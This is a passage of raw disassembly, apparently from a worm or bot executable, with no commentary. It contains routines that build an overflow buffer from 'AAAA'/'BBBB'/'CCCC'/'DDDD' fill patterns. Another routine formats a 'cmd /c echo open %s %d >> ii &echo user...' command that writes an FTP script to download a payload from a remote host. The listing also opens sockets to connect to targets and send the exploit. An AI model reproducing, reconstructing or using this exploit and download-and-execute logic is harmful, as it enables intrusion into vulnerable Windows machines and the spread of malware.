		rep movsb
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+18h+var_4]
		mov	eax, [ebx+4]
		add	esp, 4
		add	eax, ecx
		mov	[ebx], ebp
		mov	[ebx+4], eax
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		pop	ecx
		retn
sub_424500	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4245F0	proc near		; CODE XREF: sub_401B68j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, ecx
		mov	eax, [ebp+4]
		mov	ecx, [ebp+0]
		push	eax
		push	ecx
		push	1
		push	offset dword_446F74
		lea	ecx, [esp+20h+var_8]
		call	sub_4021D5
		lea	ecx, [esp+10h+var_8]
		call	sub_4010A0
		mov	edx, [esp+10h+var_4]
		inc	edx
		push	edx
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424635
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_424635:				; CODE XREF: sub_4245F0+3Bj
		mov	eax, [esp+10h+var_4]
		push	esi
		push	edi
		mov	edi, ebx
		lea	ecx, [eax+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		mov	byte ptr [ebx],	3
		mov	ecx, [esp+18h+var_4]
		mov	esi, [esp+18h+var_8]
		mov	eax, ecx
		lea	edi, [ebx+1]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, ebp
		call	sub_4016B8
		mov	ecx, [esp+18h+var_4]
		mov	[ebp+0], ebx
		inc	ecx
		mov	[ebp+4], ecx
		lea	ecx, [esp+18h+var_8]
		call	sub_4016B8
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 8
		retn
sub_4245F0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4246D0	proc near		; CODE XREF: sub_4012C6j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		mov	edx, [esi+4]
		mov	eax, [esi]
		push	ecx
		push	edx
		push	eax
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		mov	[esi], ecx
		mov	[esi+4], edx
		mov	al, 1
		pop	esi
		add	esp, 8
		retn	8
sub_4246D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424720	proc near		; CODE XREF: sub_402036j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	edx, ecx
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	esi
		mov	ecx, edx
		call	sub_4012C6
		pop	edi
		pop	esi
		retn	4
sub_424720	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424760	proc near		; CODE XREF: sub_4014FBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	eax
		push	edx
		call	sub_4012C6
		retn	8
sub_424760	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424790	proc near		; CODE XREF: sub_4017CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_4247A4
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4247A4:				; CODE XREF: sub_424790+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_444BA4
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424790	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_401EABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4014FB
		test	al, al
		jnz	short loc_42481C
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_42481C:				; CODE XREF: sub_424800+16j
		mov	ecx, esi
		call	sub_4017CB
		pop	esi
		retn	8
sub_424800	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401BEAj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424C15
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424C15
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_444840
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_444848
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B68
		lea	ecx, [esp+864h+var_830]
		call	sub_4017CB
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B68
		push	offset loc_444BC8
		lea	ecx, [esp+868h+var_810]
		call	sub_402036
		lea	ecx, [esp+864h+var_810]
		call	sub_401B68
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401834
		lea	ecx, [esp+864h+var_808]
		call	sub_401B68
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EAB
		lea	ecx, [esp+864h+var_808]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402036
		push	4
		push	offset dword_44484C
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B68
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_820]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_848]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_810]
		call	sub_4016B8
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_828]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_840]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_830]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_820]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B68
		push	2
		push	offset dword_444BBC
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_838]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_828]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016B8
		push	offset dword_444BB8
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_443E90
		lea	ecx, [esp+868h+var_850]
		call	sub_402036
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		push	offset dword_444BAC
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_444BA8
		lea	ecx, [esp+868h+var_818]
		call	sub_402036
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424C15:				; CODE XREF: sub_424840+1Ej
					; sub_424840+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424D40	proc near		; CODE XREF: sub_401AB4j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 1
		jz	short loc_424DA9
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DA9:				; CODE XREF: sub_424D40+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_436F60
sub_424D40	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424DC0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DC0:				; CODE XREF: ___:00424DB6j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		call	near ptr 71AB2BC0h
		nop
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_50FC8C
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx ; dword_50FC8C
		cmp	eax, 4
		jz	short loc_424E53
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424E53:				; CODE XREF: sub_424E20+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx ; dword_50FC8C
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424E20	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E90	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424EC3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E90+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_4448DC
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_444854
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_44490C
		mov	[ebx+31h], eax
		mov	ecx, dword_444910
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_50E140
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_50E144
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_424F68
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424F68:				; CODE XREF: sub_424E90+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AB4
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_424FA3
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424E90+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AB4
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424E90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425020	proc near		; CODE XREF: sub_401811j

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= word ptr -410h
var_40E		= word ptr -40Eh
var_40A		= dword	ptr -40Ah
var_406		= dword	ptr -406h
var_402		= word ptr -402h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 41Ch
		mov	ecx, 0FFh
		xor	eax, eax
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+428h+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_444A80
		lea	edi, [esp+428h+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_447551
		movsb
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_447551
		call	sub_4017E4
		mov	ecx, [esp+42Ch+arg_0]
		push	eax
		mov	eax, dword_44768F
		push	eax
		push	ecx
		call	sub_401DF7
		add	esp, 4
		lea	edx, [esp+434h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		call	near ptr 77C3FA76h
		nop
		add	eax, 90h
		lea	ecx, [esp+444h+var_418]
		push	eax
		lea	eax, [esp+448h+var_400]
		push	eax
		push	164h
		push	offset sub_444918
		push	ecx
		call	sub_401BEA
		mov	eax, [esp+458h+var_414]
		xor	edi, edi
		add	esp, 30h
		cmp	eax, edi
		jnz	short loc_4250C9
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 41Ch
		retn
; ---------------------------------------------------------------------------


loc_4250C9:				; CODE XREF: sub_425020+9Bj
		mov	ebp, dword_50FC2C
		mov	[esp+428h+var_41C], edi


loc_4250D3:				; CODE XREF: sub_425020+158j
		test	edi, edi
		jnz	loc_42517E
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_425161
		mov	eax, [esp+428h+arg_9E]
		xor	edx, edx
		mov	dword ptr [esp+428h+var_40E], edx
		push	eax
		mov	[esp+42Ch+var_40A], edx
		mov	[esp+42Ch+var_410], 2
		mov	[esp+42Ch+var_406], edx
		mov	[esp+42Ch+var_402], dx
		call	ebp ; dword_50FC2C
		lea	ecx, [esp+428h+arg_4]
		mov	[esp+428h+var_40E], ax
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		lea	edx, [esp+428h+var_410]
		push	10h
		push	edx
		push	esi
		mov	[esp+28h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425156
		mov	eax, [esp+428h+var_414]
		mov	ecx, [esp+428h+var_418]
		push	eax
		push	ecx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_425156:				; CODE XREF: sub_425020+11Aj
		push	esi
		call	near ptr 71AB9639h
		nop
		test	edi, edi
		jnz	short loc_42516C


loc_425161:				; CODE XREF: sub_425020+CCj
		push	3E8h
		call	near ptr 2821DA2h
		nop


loc_42516C:				; CODE XREF: sub_425020+13Fj
		mov	eax, [esp+428h+var_41C]
		inc	eax
		cmp	eax, 2
		mov	[esp+428h+var_41C], eax
		jl	loc_4250D3


loc_42517E:				; CODE XREF: sub_425020+B5j
		lea	ecx, [esp+428h+var_418]
		call	sub_4016B8
		test	edi, edi
		jz	short loc_4251AE
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E4h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_4251AE:				; CODE XREF: sub_425020+169j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 41Ch
		retn
sub_425020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425230	proc near		; CODE XREF: sub_4013C5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_425230	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425270	proc near		; CODE XREF: sub_40178Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013C5
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_425295
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_425270+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_444CA8
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_444D0C, ecx
		lea	ecx, [eax+1]
		mov	dword_444D2D, ecx
		lea	ecx, [eax+17h]
		mov	dword_444D25, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_444D3B, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D1C
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_444D20
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D21
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_444D25
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_444D29
		mov	[ecx+8], esi
		mov	esi, dword_444D2D
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_444D31
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_425270	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253E0	proc near		; CODE XREF: sub_402162j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013C5
		push	eax
		call	sub_4017BC
		add	esp, 0Ch
		retn
sub_4253E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425410:				; CODE XREF: ___:00401735j
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402162
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_425433
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: ___:0042542Bj
		cmp	eax, 0FFFFh
		jbe	short loc_425440
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: ___:00425438j
		push	esi
		push	edi
		push	ebx
		call	sub_4013C5
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013C5
		add	esp, 8
		push	eax
		push	esi
		call	sub_40178A
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B77
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254B0	proc near		; CODE XREF: sub_4017BCj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4254B9
		inc	ecx


loc_4254B9:				; CODE XREF: sub_4254B0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4254B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254E0	proc near		; CODE XREF: sub_401B77j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4254F8
